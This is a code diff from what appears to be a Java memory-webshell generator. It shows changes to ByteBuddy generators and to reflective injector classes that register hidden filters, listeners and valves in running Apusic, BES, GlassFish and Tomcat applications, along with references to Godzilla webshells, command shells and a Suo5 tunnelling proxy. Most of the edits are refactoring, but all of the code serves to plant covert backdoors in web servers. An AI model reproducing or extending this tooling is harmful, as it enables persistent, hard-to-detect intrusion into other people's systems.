private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
|
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
|
||||||
new ListenerBuilderModifier(),
|
new ListenerBuilderModifier(),
|
||||||
new ValveBuilderModifier(),
|
new ValveBuilderModifier(),
|
||||||
|
new JakartaBuilderModifier(),
|
||||||
new DebugOffBuilderModifier()
|
new DebugOffBuilderModifier()
|
||||||
);
|
);
|
||||||
|
|
||||||
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
||||||
new JakartaPostProcessor(),
|
|
||||||
new JettyHandlerPostProcessor(),
|
new JettyHandlerPostProcessor(),
|
||||||
new ShrinkPostProcessor()
|
new ShrinkPostProcessor()
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -1,17 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.ProxyConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
|
|
||||||
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
|
|
||||||
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
|
|
||||||
super(shellConfig, shellToolConfig);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected DynamicType.Builder<?> getBuilder() {
|
|
||||||
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
|
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/12
|
|
||||||
*/
|
|
||||||
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
|
||||||
|
|
||||||
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
|
||||||
super(shellConfig, suo5Config);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected DynamicType.Builder<?> getBuilder() {
|
|
||||||
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
|
|
||||||
return new ByteBuddy()
|
|
||||||
.redefine(shellToolConfig.getShellClass())
|
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
|
|
||||||
.redefine(Suo5v2.class)
|
|
||||||
.name(CommonUtil.generateClassName())
|
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
|
|
||||||
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
|
||||||
.make()) {
|
|
||||||
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
|
|
||||||
return new ByteBuddy()
|
|
||||||
.redefine(shellToolConfig.getShellClass())
|
|
||||||
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,55 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
|
||||||
import com.reajason.javaweb.Server;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2026/1/13
|
|
||||||
*/
|
|
||||||
public class WebSocketByPassHelperGenerator {
|
|
||||||
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
|
||||||
if (headerPair == null) {
|
|
||||||
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
|
||||||
}
|
|
||||||
|
|
||||||
if (Server.Tomcat.equals(shellConfig.getServer())) {
|
|
||||||
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
|
|
||||||
.redefine(TomcatWsBypassValve.class)
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
|
||||||
.field(named("headerName")).value(headerPair.getKey())
|
|
||||||
.field(named("headerValue")).value(headerPair.getValue())
|
|
||||||
.name(CommonUtil.generateClassName());
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
|
|
||||||
if (shellToolConfig instanceof CommandConfig) {
|
|
||||||
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
|
|
||||||
} else if (shellToolConfig instanceof GodzillaConfig) {
|
|
||||||
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
|
|
||||||
} else if (shellToolConfig instanceof ProxyConfig) {
|
|
||||||
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
|||||||
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.processors;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.generator.Processor;
|
|
||||||
|
|
||||||
public class JakartaPostProcessor implements Processor<byte[]> {
|
|
||||||
@Override
|
|
||||||
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
return ClassRenameUtils.relocateJakarta(input);
|
|
||||||
}
|
|
||||||
return input;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -17,7 +17,6 @@ import net.bytebuddy.description.modifier.Visibility;
|
|||||||
import net.bytebuddy.description.type.TypeDescription;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
import net.bytebuddy.implementation.StubMethod;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
@@ -47,9 +46,12 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
|
|||||||
TypeDescription typeDefinition, String newClassName) {
|
TypeDescription typeDefinition, String newClassName) {
|
||||||
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
||||||
|
|
||||||
if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
|
if (methods.filter(ElementMatchers.named("getResponseFromRequest")
|
||||||
throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
|
.and(ElementMatchers.takesArguments(Object.class))
|
||||||
" the method body will be auto adapted for multi server");
|
.and(ElementMatchers.returns(Object.class)))
|
||||||
|
.isEmpty()) {
|
||||||
|
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
|
||||||
|
" make sure arg and return type is Object.class");
|
||||||
} else {
|
} else {
|
||||||
builder = builder
|
builder = builder
|
||||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||||
@@ -57,11 +59,13 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
|
|||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
|
if (methods.filter(named("getFieldValue")
|
||||||
|
.and(takesArguments(Object.class, String.class)))
|
||||||
|
.isEmpty()) {
|
||||||
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
.withParameters(Object.class, String.class)
|
.withParameters(Object.class, String.class)
|
||||||
.throwing(Exception.class)
|
.throwing(Exception.class)
|
||||||
.intercept(StubMethod.INSTANCE)
|
.intercept(FixedValue.nullValue())
|
||||||
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||||
}
|
}
|
||||||
return builder;
|
return builder;
|
||||||
|
|||||||
@@ -8,7 +8,6 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.LinkedHashSet;
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -44,7 +43,7 @@ public class ApusicFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -146,12 +145,7 @@ public class ApusicFilterInjector {
|
|||||||
Object filterMapping = filterMappingClass.newInstance();
|
Object filterMapping = filterMappingClass.newInstance();
|
||||||
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
|
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||||
LinkedHashSet newSet = new LinkedHashSet();
|
|
||||||
newSet.add(filterMapping);
|
|
||||||
newSet.addAll(beforeFilterMappings);
|
|
||||||
beforeFilterMappings.clear();
|
|
||||||
beforeFilterMappings.addAll(newSet);
|
|
||||||
|
|
||||||
// addFilterModel
|
// addFilterModel
|
||||||
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
||||||
@@ -224,25 +218,30 @@ public class ApusicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,9 +6,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.*;
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -42,7 +40,7 @@ public class ApusicListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -199,25 +197,30 @@ public class ApusicListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,9 +6,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.*;
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -42,7 +40,7 @@ public class ApusicServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -200,25 +198,30 @@ public class ApusicServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ public class BesFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -105,7 +105,7 @@ public class BesFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -218,25 +218,30 @@ public class BesFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ public class BesListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class BesValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -7,10 +7,7 @@ import java.io.PrintStream;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.*;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -43,7 +40,7 @@ public class GlassFishFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -129,18 +126,15 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
Class<?> filterMapClass;
|
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tomcat v8+
|
// tomcat v8+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
||||||
filterMap = filterMapClass.newInstance();
|
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
// tomcat v5+
|
// tomcat v5+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||||
filterMap = filterMapClass.newInstance();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
